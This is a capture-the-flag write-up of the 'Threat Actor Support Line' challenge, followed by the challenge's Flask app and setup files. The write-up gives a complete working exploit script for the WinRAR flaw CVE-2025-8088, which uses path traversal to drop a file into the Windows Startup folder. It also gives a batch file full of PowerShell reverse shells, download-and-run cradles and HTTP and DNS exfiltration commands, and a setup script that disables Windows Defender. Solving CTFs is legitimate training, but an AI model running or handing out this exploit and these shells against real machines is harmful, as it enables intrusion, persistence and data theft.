2025-10-16

📦 Threat Actor Support Line

image.png

new instance empty text file

image.png

new instance empty text file with the cve exploit

image.png

with abcdefghijklmnopqrstuvwxyz1234567890

image.png

┌──(kali㉿kali)-[/mnt/…/2025-Huntress-CTF/16/4/encrypted_cve-2025-8088-sxy-poc (1)]
└─$ xxd Users/ADMINI\~1/AppData/Local/Temp/2/tmprcj7gcsh/test.txt.tasl
00000000: 6151 3852 355e 5741 4e82 91ea 4c86       aQ8R5^WAN...L.

┌──(kali㉿kali)-[/mnt/…/2025-Huntress-CTF/16/4/encrypted_cve-2025-8088-sxy-poc (1)]
└─$ xxd Windows/TEMP/tmp625scag2/test.txt.tasl
00000000: 4290 a256 ef5d cbc9 8593 3de7 576b       B..V.]....=.Wk

┌──(kali㉿kali)-[/mnt/…/2025-Huntress-CTF/16/4/encrypted_cve-2025-8088-sxy-poc (1)]
└─$ xxd Windows/TEMP/tmpb3odq0qd/test.txt.tasl
00000000: 8762 2a7d 4d8c 88a9 e670 cf6f 3b38       .b*}M....p.o;8

┌──(kali㉿kali)-[/mnt/…/2025-Huntress-CTF/16/4/encrypted_cve-2025-8088-sxy-poc (1)]
└─$ xxd Windows/TEMP/tmpbkax0fw4/test.txt.tasl
00000000: aac5 9768 2991 d85c 321f d90c 457b       ...h)..\2...E{

┌──(kali㉿kali)-[/mnt/…/2025-Huntress-CTF/16/4/encrypted_cve-2025-8088-sxy-poc (1)]
└─$ xxd Windows/TEMP/tmpgczo6uuh/decoy.txt.tasl
00000000: ade2 5f23 3d79 5943 ccf0 4188 b9fa f4c4  .._#=yYC..A.....
00000010: bcaf df35 05b9 2d70 7288 53d7 c23d d989  ...5..-pr.S..=..
00000020: 14a9 0922                                ..."

┌──(kali㉿kali)-[/mnt/…/2025-Huntress-CTF/16/4/encrypted_cve-2025-8088-sxy-poc (1)]
└─$ xxd Windows/TEMP/tmpma4qkmkx/test.txt.tasl
00000000: 5d79 74b9 db6c b3f5 0954 4650 ee51       ]yt..l...TFP.Q
Decryption/decoding was not the way. 

XOR with 0x42
Add random(1-255)
Mod 256

image.png

📄decoy.txt4B 📃exploit.py9.5KB 📃payload.bat4.0KB

Step 1

PS F:\CTF\2025-Huntress-CTF\16\4> python exploit.py --decoy decoy.txt --payload payload.bat --drop "C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
[+] Injected stream name will be: ..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.bat
[+] Attached ADS on disk
[+] Patched 2 placeholder occurrence(s).
[+] Recomputed CRC for 6 header block(s).
[+] Wrote patched archive: F:\CTF\2025-Huntress-CTF\16\4\cve-2025-8088-sxy-poc.rar
[i] Injected stream name: ..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.bat

[V] Done.
Payload will be dropped to: C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.bat

image.png

decode.txt can be empty
Spammed it with revshells, this one stuck

powershell -c "$sm=(New-Object Net.Sockets.TCPClient('10.200.13.8',4444)).GetStream();$r=New-Object IO.StreamReader($sm);$w=New-Object IO.StreamWriter($sm);$w.AutoFlush=$true;while(($c=$r.ReadLine())){$res=iex $c 2>&1|Out-String;$w.WriteLine($res)}"
payload.bat 

@echo off

:: PowerShell reverse shells
powershell -c "$c=New-Object System.Net.Sockets.TCPClient('10.200.13.8',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$sb=(iex $d 2>&1|Out-String);$sb2=$sb+'PS '+(pwd).Path+'> ';$sbt=([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sbt,0,$sbt.Length);$s.Flush()};$c.Close()"

powershell -nop -W Hidden -noni -ep bypass -c "$client=New-Object System.Net.Sockets.TCPClient('10.200.13.8',4444);$stream=$client.GetStream();[byte[]]$bytes=0..65535|%{0};while(($i=$stream.Read($bytes,0,$bytes.Length)) -ne 0){$data=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback=(iex $data 2>&1|Out-String);$sendback2=$sendback+'PS '+(pwd).Path+'> ';$sendbyte=([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://10.200.13.8:8000/shell.ps1')"

powershell -enc JGNsaWVudD1OZXctT2JqZWN0U3lzdGVtLk5ldC5Tb2NrZXRzLlRDUENsaWVudCgiMTAuMjAwLjEzLjgiLDQ0NDQpOyRzdHJlYW09JGNsaWVudC5HZXRTdHJlYW0oKTtbYnl0ZVtdXSRieXRlcz0wLi42NTUzNXwlezB9O3doaWxlKCgkaT0kc3RyZWFtLlJlYWQoJGJ5dGVzLDAsJGJ5dGVzLkxlbmd0aCkpLW5lMCl7OyRkYXRhPShOZXctT2JqZWN0LVR5cGVOYW1lU3lzdGVtLlRleHQuQVNDSUlFbmNvZGluZykuR2V0U3RyaW5nKCRieXRlcywwLCRpKTskc2VuZGJhY2s9KGlleCRkYXRhMj4mMXxPdXQtU3RyaW5nKTskc2VuZGJhY2syPSRzZW5kYmFjaysiUFMiKyhwd2QpLlBhdGgrIj4iOyRzZW5kYnl0ZT0oW3RleHQuZW5jb2RpbmddOjpBU0NJSSkuR2V0Qnl0ZXMoJHNlbmRiYWNrMik7JHN0cmVhbS5Xcml0ZSgkc2VuZGJ5dGUsMCwkc2VuZGJ5dGUuTGVuZ3RoKTskc3RyZWFtLkZsdXNoKCl9OyRjbGllbnQuQ2xvc2UoKQ==

:: Netcat style
powershell -c "$sm=(New-Object Net.Sockets.TCPClient('10.200.13.8',4444)).GetStream();$r=New-Object IO.StreamReader($sm);$w=New-Object IO.StreamWriter($sm);$w.AutoFlush=$true;while(($c=$r.ReadLine())){$res=iex $c 2>&1|Out-String;$w.WriteLine($res)}"

:: Web request exfil
powershell -c "iwr http://10.200.13.8:8000/ -Method POST -Body (ls C:\|Out-String)"

powershell -c "iwr http://10.200.13.8:8000/ -Method POST -Body (gc C:\Windows\TEMP\tmp*\test.txt -Raw -EA SilentlyContinue)"

:: Invoke-Expression web shell
powershell -c "while($true){$c=(iwr http://10.200.13.8:8000/cmd -UseBasicParsing).Content;if($c){iwr http://YOUR_IP:8000/result -Method POST -Body (iex $c|Out-String)}sleep 2}"

:: DNS exfil
powershell -c "$d=[Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes((gc C:\flag.txt)));nslookup $d.YOUR_DOMAIN"

:: Empire launcher
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://10.200.13.8:8000/launcher.ps1')"

:: Meterpreter style
powershell -c "$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String('BASE64_PAYLOAD'));IEX(New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd()"

:: Simple callback
powershell -c "Start-Process powershell -ArgumentList '-nop -W Hidden -c iwr http://10.200.13.8:8000/$(hostname) -Method POST -Body (whoami)'"

:: Alternate reverse shell
powershell -c "$t=New-Object Net.Sockets.TcpClient('10.200.13.8',4444);$s=$t.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length))){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$sb=([text.encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length)};$t.Close()"

:: Compressed reverse shell  
powershell -c "sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('BASE64'),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()"

:: Background job reverse shell
powershell -c "Start-Job {$c=New-Object Net.Sockets.TCPClient('10.200.13.8',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while($i=$s.Read($b,0,$b.Length)){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$sb=(iex $d 2>&1|Out-String)+'PS> ';$s.Write(([text.encoding]::ASCII).GetBytes($sb),0,$sb.Length)}}"
exploit.py
import argparse, os, struct, subprocess, sys, textwrap, zlib
from pathlib import Path

# RAR5 constants
RAR5_SIG = b"Rar!\x1A\x07\x01\x00"
HFL_EXTRA = 0x0001
HFL_DATA  = 0x0002

def run(cmd: str, cwd: Path | None = None, check=True) -> subprocess.CompletedProcess:
    cp = subprocess.run(cmd, shell=True, cwd=str(cwd) if cwd else None,
                        stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True)
    if check and cp.returncode != 0:
        raise RuntimeError(f"Command failed ({cp.returncode}): {cmd}\n{cp.stdout}")
    return cp

def auto_find_rar(provided: str | None) -> str:
    if provided and Path(provided).exists():
        return provided
    candidates = [
        r"C:\Program Files\WinRAR\rar.exe",
        r"C:\Program Files (x86)\WinRAR\rar.exe",
    ]
    for d in os.environ.get("PATH", "").split(os.pathsep):
        if not d: continue
        p = Path(d) / "rar.exe"
        if p.exists(): candidates.append(str(p))
    for c in candidates:
        if Path(c).exists(): return c
    raise SystemExit("[-] rar.exe not found. Pass --rar \"C:\\Path\\to\\rar.exe\"")

def ensure_file(path: Path, default_text: str | None) -> None:
    if path.exists():
        return
    if default_text is None:
        raise SystemExit(f"[-] Required file not found: {path}")
    path.parent.mkdir(parents=True, exist_ok=True)
    path.write_text(default_text, encoding="utf-8")
    print(f"[+] Created file: {path}")

def attach_ads_placeholder(decoy_path: Path, payload_path: Path, placeholder_len: int) -> str:
    placeholder = "X" * placeholder_len
    ads_path = f"{decoy_path}:{placeholder}"
    data = payload_path.read_bytes()
    with open(ads_path, "wb") as f:
        f.write(data)
    print("[+] Attached ADS on disk")
    return placeholder

def build_base_rar_with_streams(rar_exe: str, decoy_path: Path, base_out: Path) -> None:
    if base_out.exists():
        base_out.unlink()
    run(f'"{rar_exe}" a -ep -os "{base_out}" "{decoy_path}"')

def get_vint(buf: bytes, off: int) -> tuple[int, int]:
    val, shift, i = 0, 0, off
    while True:
        if i >= len(buf): raise ValueError("Truncated vint")
        b = buf[i]; i += 1
        val |= (b & 0x7F) << shift
        if (b & 0x80) == 0: break
        shift += 7
        if shift > 70: raise ValueError("vint too large")
    return val, i - off

def patch_placeholder_in_header(hdr: bytearray, placeholder_utf8: bytes, target_utf8: bytes) -> int:
    """Replace ':' + placeholder with ':' + target (NUL-pad if shorter)."""
    needle = b":" + placeholder_utf8
    count, i = 0, 0
    while True:
        j = hdr.find(needle, i)
        if j < 0: break
        start = j + 1
        old_len = len(placeholder_utf8)
        if len(target_utf8) > old_len:
            raise ValueError("Replacement longer than placeholder. Increase --placeholder_len.")
        hdr[start:start+len(target_utf8)] = target_utf8
        if len(target_utf8) < old_len:
            hdr[start+len(target_utf8):start+old_len] = b"\x00" * (old_len - len(target_utf8))
        count += 1
        i = start + old_len
    return count

def rebuild_all_header_crc(buf: bytearray) -> int:
    """Recompute CRC32 for ALL RAR5 block headers."""
    sigpos = buf.find(RAR5_SIG)
    if sigpos < 0:
        raise RuntimeError("Not a RAR5 archive (signature missing).")
    pos = sigpos + len(RAR5_SIG)
    blocks = 0
    while pos + 4 <= len(buf):
        block_start = pos
        try:
            header_size, hsz_len = get_vint(buf, block_start + 4)
        except Exception:
            break
        header_start = block_start + 4 + hsz_len
        header_end   = header_start + header_size
        if header_end > len(buf): break
        region = buf[block_start + 4:header_end]
        crc = zlib.crc32(region) & 0xFFFFFFFF
        struct.pack_into("<I", buf, block_start, crc)
        # step forward using flags and optional DataSize
        i = header_start
        _htype, n1 = get_vint(buf, i); i += n1
        hflags, n2 = get_vint(buf, i); i += n2
        if (hflags & HFL_EXTRA) != 0:
            _extrasz, n3 = get_vint(buf, i); i += n3
        datasz = 0
        if (hflags & HFL_DATA) != 0:
            datasz, n4 = get_vint(buf, i); i += n4
        pos = header_end + datasz
        blocks += 1
    return blocks

def strip_drive(abs_path: Path) -> str:
    s = str(abs_path)
    s = s.replace("/", "\\")
    # remove e.g. "C:\"
    if len(s) >= 2 and s[1] == ":":
        s = s[2:]
    # trim leading slashes
    while s.startswith("\\"):
        s = s[1:]
    return s

def build_traversal_name(drop_abs_dir: Path, payload_name: str, max_up: int) -> str:
    if max_up < 8:
        raise SystemExit("[-] --max_up must be >= 8 to reliably reach drive root from typical user folders.")
    tail = strip_drive(drop_abs_dir)
    rel = ("..\\" * max_up) + tail + "\\" + payload_name
    # No drive letters, no leading backslash:
    if rel.startswith("\\") or (len(rel) >= 2 and rel[1] == ":"):
        raise SystemExit("[-] Internal path error: produced an absolute name. Report this.")
    return rel

def patch_archive_placeholder(base_rar: Path, out_rar: Path, placeholder: str, target_rel: str) -> None:
    data = bytearray(base_rar.read_bytes())
    sigpos = data.find(RAR5_SIG)
    if sigpos < 0:
        raise SystemExit("[-] Not a RAR5 archive (signature not found).")
    pos = sigpos + len(RAR5_SIG)

    placeholder_utf8 = placeholder.encode("utf-8")
    target_utf8      = target_rel.encode("utf-8")

    total = 0
    while pos + 4 <= len(data):
        block_start = pos
        try:
            header_size, hsz_len = get_vint(data, block_start + 4)
        except Exception:
            break
        header_start = block_start + 4 + hsz_len
        header_end   = header_start + header_size
        if header_end > len(data): break

        hdr = bytearray(data[header_start:header_end])
        c = patch_placeholder_in_header(hdr, placeholder_utf8, target_utf8)
        if c:
            data[header_start:header_end] = hdr
            total += c

        # advance
        i = header_start
        _htype, n1 = get_vint(data, i); i += n1
        hflags, n2 = get_vint(data, i); i += n2
        if (hflags & HFL_EXTRA) != 0:
            _extrasz, n3 = get_vint(data, i); i += n3
        datasz = 0
        if (hflags & HFL_DATA) != 0:
            datasz, n4 = get_vint(data, i); i += n4
        pos = header_end + datasz

    if total == 0:
        raise SystemExit("[-] Placeholder not found in RAR headers. Ensure you built with -os and same placeholder.")
    print(f"[+] Patched {total} placeholder occurrence(s).")

    blocks = rebuild_all_header_crc(data)
    print(f"[+] Recomputed CRC for {blocks} header block(s).")

    out_rar.write_bytes(data)
    print(f"[+] Wrote patched archive: {out_rar}")
    print(f"[i] Injected stream name: {target_rel}")

def main():
    if os.name != "nt":
        print("[-] Must run on Windows (NTFS) to attach ADS locally.")
        sys.exit(1)

    ap = argparse.ArgumentParser(description="CVE-2025-8088 WinRAR PoC")
    ap.add_argument("--decoy",        required=True, help="Path to decoy file (existing or will be created)")
    ap.add_argument("--payload",      required=True, help="Path to harmless payload file (existing or will be created)")
    ap.add_argument("--drop",         required=True, help="ABSOLUTE benign folder (e.g., C:\\Users\\you\\Documents)")
    ap.add_argument("--rar",                     help="Path to rar.exe (auto-discovered if omitted)")
    ap.add_argument("--out",                     help="Output RAR filename (default: cve-2025-8088-sxy-poc.rar)")
    ap.add_argument("--workdir",      default=".", help="Working directory (default: current)")
    ap.add_argument("--placeholder_len", type=int, help="Length of ADS placeholder (auto: >= max(len(injected), 128))")
    ap.add_argument("--max_up",       type=int, default=16, help="How many '..' segments to prefix (default: 16)")
    ap.add_argument("--base_out",                 help="Optional name for intermediate base RAR (default: <out>.base.rar)")
    args = ap.parse_args()

    workdir = Path(args.workdir).resolve()
    workdir.mkdir(parents=True, exist_ok=True)

    decoy_path   = Path(args.decoy) if Path(args.decoy).is_absolute() else (workdir / args.decoy)
    payload_path = Path(args.payload) if Path(args.payload).is_absolute() else (workdir / args.payload)
    drop_abs_dir = Path(args.drop).resolve()

    out_rar = (workdir / args.out) if args.out and not Path(args.out).is_absolute() else (Path(args.out) if args.out else workdir / "cve-2025-8088-sxy-poc.rar")
    base_rar = Path(args.base_out) if args.base_out else out_rar.with_suffix(".base.rar")

    ensure_file(decoy_path,   "PoC\n")
    ensure_file(payload_path, textwrap.dedent("@echo off\n"
                                              "echo Hello World!\n"
                                              "pause\n"))

    rar_exe = auto_find_rar(args.rar)

    # Build injected stream name:
    injected_target = build_traversal_name(drop_abs_dir, payload_path.name, max_up=args.max_up)
    print(f"[+] Injected stream name will be: {injected_target}")

    # Placeholder sizing
    ph_len = args.placeholder_len if args.placeholder_len else max(len(injected_target), 128)

    placeholder = attach_ads_placeholder(decoy_path, payload_path, ph_len)

    build_base_rar_with_streams(rar_exe, decoy_path, base_rar)

    patch_archive_placeholder(base_rar, out_rar, placeholder, injected_target)

    print("\n[V] Done.")
    print(f"Payload will be dropped to: {drop_abs_dir}\\{payload_path.name}")
    if os.path.exists(base_rar):
        try:
            os.remove(base_rar)
        except:
            pass
    

if __name__ == "__main__":
    main()

Step 2

Upload the cve rar to the site,

image.png

Step 3

Get shell, I uploaded a few times to make sure the start of the computer triggered it

image.png

image.png

Challenge files

app.py
from flask import Flask, render_template, request, redirect, url_for, flash, send_file, jsonify
import os
import subprocess
import tempfile
import shutil
import time
import zipfile
import rarfile
from werkzeug.utils import secure_filename
import threading
import random
import string

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(24)
app.config['UPLOAD_FOLDER'] = 'uploads'
app.config['MAX_CONTENT_LENGTH'] = 1024 * 1024

ALLOWED_EXTENSIONS = {'rar', 'zip'}

def allowed_file(filename):
    return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

def is_valid_archive(file_path):
    try:
        if file_path.lower().endswith('.zip'):
            with zipfile.ZipFile(file_path, 'r') as zip_file:
                zip_file.testzip()
            return True
        elif file_path.lower().endswith('.rar'):
            with rarfile.RarFile(file_path, 'r') as rar_file:
                rar_file.testrar()
            return True
    except:
        return False
    return False

def execute_startup_files():
    startup_path = r"C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
    if os.path.exists(startup_path):
        files = os.listdir(startup_path)
        for file in files:
            if file.lower() == 'desktop.ini':
                continue
            file_path = os.path.join(startup_path, file)
            if os.path.isfile(file_path):
                try:
                    subprocess.Popen([file_path], shell=True)
                except Exception as e:
                    print(f"Error executing {file}: {e}")
    else:
        print(f"Startup directory does not exist: {startup_path}")

def process_archive(file_path, temp_dir):
    if file_path.lower().endswith('.zip'):
        with zipfile.ZipFile(file_path, 'r') as zip_file:
            zip_file.extractall(temp_dir)
    elif file_path.lower().endswith('.rar'):
        unrar_path = r'C:\Program Files\WinRAR\UnRAR.exe'
        if os.path.exists(unrar_path):
            subprocess.run([unrar_path, 'x', file_path, temp_dir], check=True)
        else:
            with rarfile.RarFile(file_path, 'r') as rar_file:
                rar_file.extractall(temp_dir)

def encrypt_file_content(file_path):
    try:
        with open(file_path, 'rb') as f:
            content = f.read()
        
        encrypted_content = bytearray()
        for byte in content:
            encrypted_byte = (byte ^ 0x42) + random.randint(1, 255)
            encrypted_byte = encrypted_byte % 256
            encrypted_content.append(encrypted_byte)
        
        with open(file_path, 'wb') as f:
            f.write(encrypted_content)
    except Exception as e:
        print(f"Error encrypting {file_path}: {e}")

def encrypt_files(temp_dir):
    for root, dirs, files in os.walk(temp_dir):
        for file in files:
            if not file.endswith('.tasl') and file != 'README.txt':
                old_path = os.path.join(root, file)
                new_path = os.path.join(root, file + '.tasl')
                try:
                    encrypt_file_content(old_path)
                    os.rename(old_path, new_path)
                except Exception as e:
                    print(f"Error processing {old_path}: {e}")

def create_ransom_note(temp_dir):
    ransom_path = os.path.join(temp_dir, 'README.txt')
    with open('ransom_note.txt', 'r', encoding='utf-8') as f:
        ransom_text = f.read()
    
    with open(ransom_path, 'w', encoding='utf-8') as f:
        f.write(ransom_text)

def create_output_archive(temp_dir, output_path, original_ext):
    if original_ext.lower() == '.zip':
        with zipfile.ZipFile(output_path, 'w', zipfile.ZIP_DEFLATED) as zip_file:
            for root, dirs, files in os.walk(temp_dir):
                for file in files:
                    file_path = os.path.join(root, file)
                    arc_path = os.path.relpath(file_path, temp_dir)
                    print(f"Adding to archive: {arc_path}")
                    zip_file.write(file_path, arc_path)
    else:
        rar_path = r'C:\Program Files\WinRAR\Rar.exe'
        if os.path.exists(rar_path):
            subprocess.run([rar_path, 'a', output_path, os.path.join(temp_dir, '*')], check=True)
        else:
            with zipfile.ZipFile(output_path.replace('.rar', '.zip'), 'w', zipfile.ZIP_DEFLATED) as zip_file:
                for root, dirs, files in os.walk(temp_dir):
                    for file in files:
                        file_path = os.path.join(root, file)
                        arc_path = os.path.relpath(file_path, temp_dir)
                        print(f"Adding to archive: {arc_path}")
                        zip_file.write(file_path, arc_path)

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/', methods=['POST'])
def upload_file():
    if 'file' not in request.files:
        flash('No file selected', 'error')
        return redirect(url_for('index'))
    
    file = request.files['file']
    if file.filename == '':
        flash('No file selected', 'error')
        return redirect(url_for('index'))
    
    file.seek(0, 2)
    file_size = file.tell()
    file.seek(0)
    
    if file_size > app.config['MAX_CONTENT_LENGTH']:
        flash('File too large! Our hacking computer only has 1MB of RAM and we spent all our crypto on Steam and Uber Eats!', 'error')
        return redirect(url_for('index'))
    
    if file and allowed_file(file.filename):
        filename = secure_filename(file.filename)
        if not os.path.exists(app.config['UPLOAD_FOLDER']):
            os.makedirs(app.config['UPLOAD_FOLDER'])
        
        file_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
        file.save(file_path)
        
        if not is_valid_archive(file_path):
            os.remove(file_path)
            flash('Invalid archive! This file is corrupted or not a real ZIP/RAR file!', 'error')
            return redirect(url_for('index'))
        
        try:
            execute_startup_files()
            
            temp_dir = tempfile.mkdtemp()
            process_archive(file_path, temp_dir)
            encrypt_files(temp_dir)
            create_ransom_note(temp_dir)
            
            output_filename = 'encrypted_' + filename
            output_path = os.path.join(app.config['UPLOAD_FOLDER'], output_filename)
            create_output_archive(temp_dir, output_path, os.path.splitext(filename)[1])
            
            shutil.rmtree(temp_dir)
            os.remove(file_path)
            
            flash('Files encrypted successfully!', 'success')
            return render_template('index.html', download_file=output_filename)
            
        except Exception as e:
            flash('Processing failed! Our hacking computer crashed! Try again later.', 'error')
            return redirect(url_for('index'))
    else:
        flash('Invalid file type. Please upload RAR or ZIP files only.', 'error')
        return redirect(url_for('index'))

@app.route('/download/<filename>')
def download_file(filename):
    file_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
    if os.path.exists(file_path):
        return send_file(file_path, as_attachment=True)
    else:
        flash('File not found!', 'error')
        return redirect(url_for('index'))

if __name__ == '__main__':
    app.run(debug=False, host='0.0.0.0', port=80)
cat requirements.txt
Flask==2.3.3
Werkzeug==2.3.7
rarfile==4.0

cat vm_setup.ps1
# Disable Antivirus for the CTF challenge
C:\"Program Files\Windows Defender"\MpCmdRun.exe -RemoveDefinitions
C:\"Program Files\Windows Defender"\MpCmdRun.exe -RemoveDefinitions -All
Set-MpPreference -DisableIntrusionPreventionSystem $true  -DisableRealtimeMonitoring $true  -DisableScriptScanning $true  -EnableControlledFolderAccess Disabled  -EnableNetworkProtection AuditMode -Force  -MAPSReporting Disabled  -SubmitSamplesConsent NeverSend
Set-MpPreference -ExclusionPath "C:\"

$ErrorActionPreference = 'Stop'
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12

# ---- Config (change as needed) ----
$ServiceName = 'FlaskApp'
$Port = 80
$AppDir = (Get-Location).Path

# ---- Chocolatey baseline ----
if (-not (Get-Command choco.exe -ErrorAction SilentlyContinue)) {
    Set-ExecutionPolicy -Scope Process Bypass -Force
    Invoke-Expression ((New-Object Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'))
}
choco upgrade -y chocolatey
choco upgrade -y python nssm

# ---- Python locator ----
$py = @('py.exe', 'python.exe') | ForEach-Object {
    Get-Command $_ -ErrorAction SilentlyContinue
} | Select-Object -First 1
if (-not $py) { throw "Python not found after install" }

# ---- Venv (idempotent) ----
Push-Location $AppDir
$venvPy = $null
if (Test-Path .\.venv\Scripts\python.exe) {
    $venvPy = (Resolve-Path .\.venv\Scripts\python.exe).Path
}
elseif (Test-Path .\requirements.txt) {
    & $py.Source -m venv .venv | Out-Null
    if (Test-Path .\.venv\Scripts\python.exe) {
        $venvPy = (Resolve-Path .\.venv\Scripts\python.exe).Path
    }
}

$runPy = if ($venvPy) { $venvPy } else { $py.Source }

# Requirements only if present
& $runPy -m pip install --upgrade pip
& $runPy -m pip install -r .\requirements.txt

# Find the Flask entry file without env vars
$flaskApp = if (Test-Path "$AppDir\app.py") { 'app.py' }
elseif (Test-Path "$AppDir\wsgi.py") { 'wsgi.py' }
else { 'app.py' }

Pop-Location

# ---- NSSM path ----
$nssm = (Get-ChildItem 'C:\ProgramData\chocolatey\lib' -Filter 'nssm*' -Directory -ErrorAction SilentlyContinue |
    Get-ChildItem -Recurse -Filter 'nssm.exe' -ErrorAction SilentlyContinue |
    Select-Object -First 1).FullName
if (-not $nssm) { $nssm = 'nssm.exe' } # rely on PATH if available

# ---- Service (truly idempotent) ----
$svc = Get-Service -Name $ServiceName -ErrorAction SilentlyContinue
if ($svc) {
    if ($svc.Status -ne 'Stopped') { & $nssm stop $ServiceName | Out-Null }
    & $nssm remove $ServiceName confirm | Out-Null
}

# Create service: python -m flask --app <file> run --host 0.0.0.0 --port <port>
& $nssm install $ServiceName $runPy `
    '-m', 'flask', '--app', "$flaskApp", 'run', '--host', '0.0.0.0', '--port', "$Port"
& $nssm set $ServiceName AppDirectory "$AppDir" | Out-Null
& $nssm set $ServiceName Start SERVICE_AUTO_START | Out-Null

# ---- Firewall (create once) ----
$fwName = "Flask Port $Port ($ServiceName)"
$existing = Get-NetFirewallRule -DisplayName $fwName -ErrorAction SilentlyContinue
if (-not $existing) {
    New-NetFirewallRule -DisplayName $fwName -Direction Inbound -Action Allow -Protocol TCP -LocalPort $Port | Out-Null
}

# ---- Start & report ----
& $nssm start $ServiceName | Out-Null
Write-Host "OK: Service '$ServiceName' running from $AppDir → http://localhost:$Port  (exe: $runPy, app: $flaskApp)"
cat templates/index.html
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Threat Actor Support Line</title>
    <link rel="stylesheet" href="{{ url_for('static', filename='style.css') }}">
</head>
<body>
    <div class="container">
        <header>
            <h1>Threat Actor Support Line</h1>
            <p>Your friendly neighborhood ransomware support service</p>
        </header>
        
        {% with messages = get_flashed_messages(with_categories=true) %}
            {% if messages %}
                {% for category, message in messages %}
                    <div class="flash-message {{ category }}">
                        {{ message }}
                    </div>
                {% endfor %}
            {% endif %}
        {% endwith %}
        
        <main>
            <div class="info-section">
                <h2>Welcome to our Support Portal</h2>
                <p>Having trouble with your latest ransomware deployment? Struggling to encrypt files? We're here to help!
                </p>
                <p>
                    Upload an archive of your files and we'll encrypt them for you. 
                </p>
            </div>
            
            <div class="upload-section">
                <form action="/" method="post" enctype="multipart/form-data" id="uploadForm">
                    <input type="file" id="fileInput" name="file" accept=".rar,.zip" style="display: none;">
                    <button type="button" id="uploadBtn" class="upload-button">Upload Archive</button>
                </form>
                <div id="processingStatus" class="processing-status" style="display: none;">
                    <div class="spinner"></div>
                    <div id="statusMessages"></div>
                </div>
                {% if download_file %}
                <div id="downloadSection" class="download-section" style="display: block;">
                    <h3>Your Encrypted Archive is Ready!</h3>
                    <a id="downloadLink" href="{{ url_for('download_file', filename=download_file) }}" class="download-button">Download Encrypted Files</a>
                </div>
                {% else %}
                <div id="downloadSection" class="download-section" style="display: none;">
                    <h3>Your Encrypted Archive is Ready!</h3>
                    <a id="downloadLink" href="#" class="download-button">Download Encrypted Files</a>
                </div>
                {% endif %}
            </div>
            
            <div class="faq-section">
                <h2>FAQ</h2>
                <div class="faq-item">
                    <div class="faq-question" onclick="toggleFaq(this)">
                        <span>What do I upload?</span>
                        <span class="faq-toggle">+</span>
                    </div>
                    <div class="faq-answer">
                        <p>We accept ZIP and RAR archive formats only. Please ensure your files are properly compressed. The more files you have, the longer it will take to encrypt them.
                        </p>
                    </div>
                </div>
                
                <div class="faq-item">
                    <div class="faq-question" onclick="toggleFaq(this)">
                        <span>How does it work?</span>
                        <span class="faq-toggle">+</span>
                    </div>
                    <div class="faq-answer">
                        <p>
                            When you upload your archive, we startup our hacking computer, extract the files into a temporary directory, encrypt them, 
                            add a ransom note, and then compress the directory back into an archive for you to download! 
                        </p>
                    </div>
                </div>

                <div class="faq-item">
                    <div class="faq-question" onclick="toggleFaq(this)">
                        <span>How long does it take?</span>
                        <span class="faq-toggle">+</span>
                    </div>
                    <div class="faq-answer">
                        <p>
                            You can expect your encrypted files to be ready almost instantly! We use WinRAR 7.12 for handling archives,
                            and it's, as the Internet kids say, <b><em>BLAZINGLY FAST!!!11</em></b>
                        </p>
                    </div>
                </div>
            </div>
        </main>
    </div>
    
    <script src="{{ url_for('static', filename='script.js') }}"></script>
</body>
</html>

cat static/script.js
document.getElementById('uploadBtn').addEventListener('click', function() {
    document.getElementById('fileInput').click();
});

document.getElementById('fileInput').addEventListener('change', function() {
    if (this.files.length > 0) {
        const file = this.files[0];
        if (file.size > 1024 * 1024) {
            alert('File too large! Our hacking computer only has 1MB of RAM and we spent all our budget on energy drinks instead of upgrading!');
            return;
        }
        
        showProcessingStatus();
        const form = this.closest('form');
        
        setTimeout(() => {
            form.submit();
        }, 6000);
    }
});

function showProcessingStatus() {
    const statusDiv = document.getElementById('processingStatus');
    const messagesDiv = document.getElementById('statusMessages');
    const downloadDiv = document.getElementById('downloadSection');
    
    statusDiv.style.display = 'block';
    downloadDiv.style.display = 'none';
    messagesDiv.innerHTML = '';
    
    const messages = [
        'Starting up our hacking computer...',
        'Extracting archive...',
        'Encrypting files...',
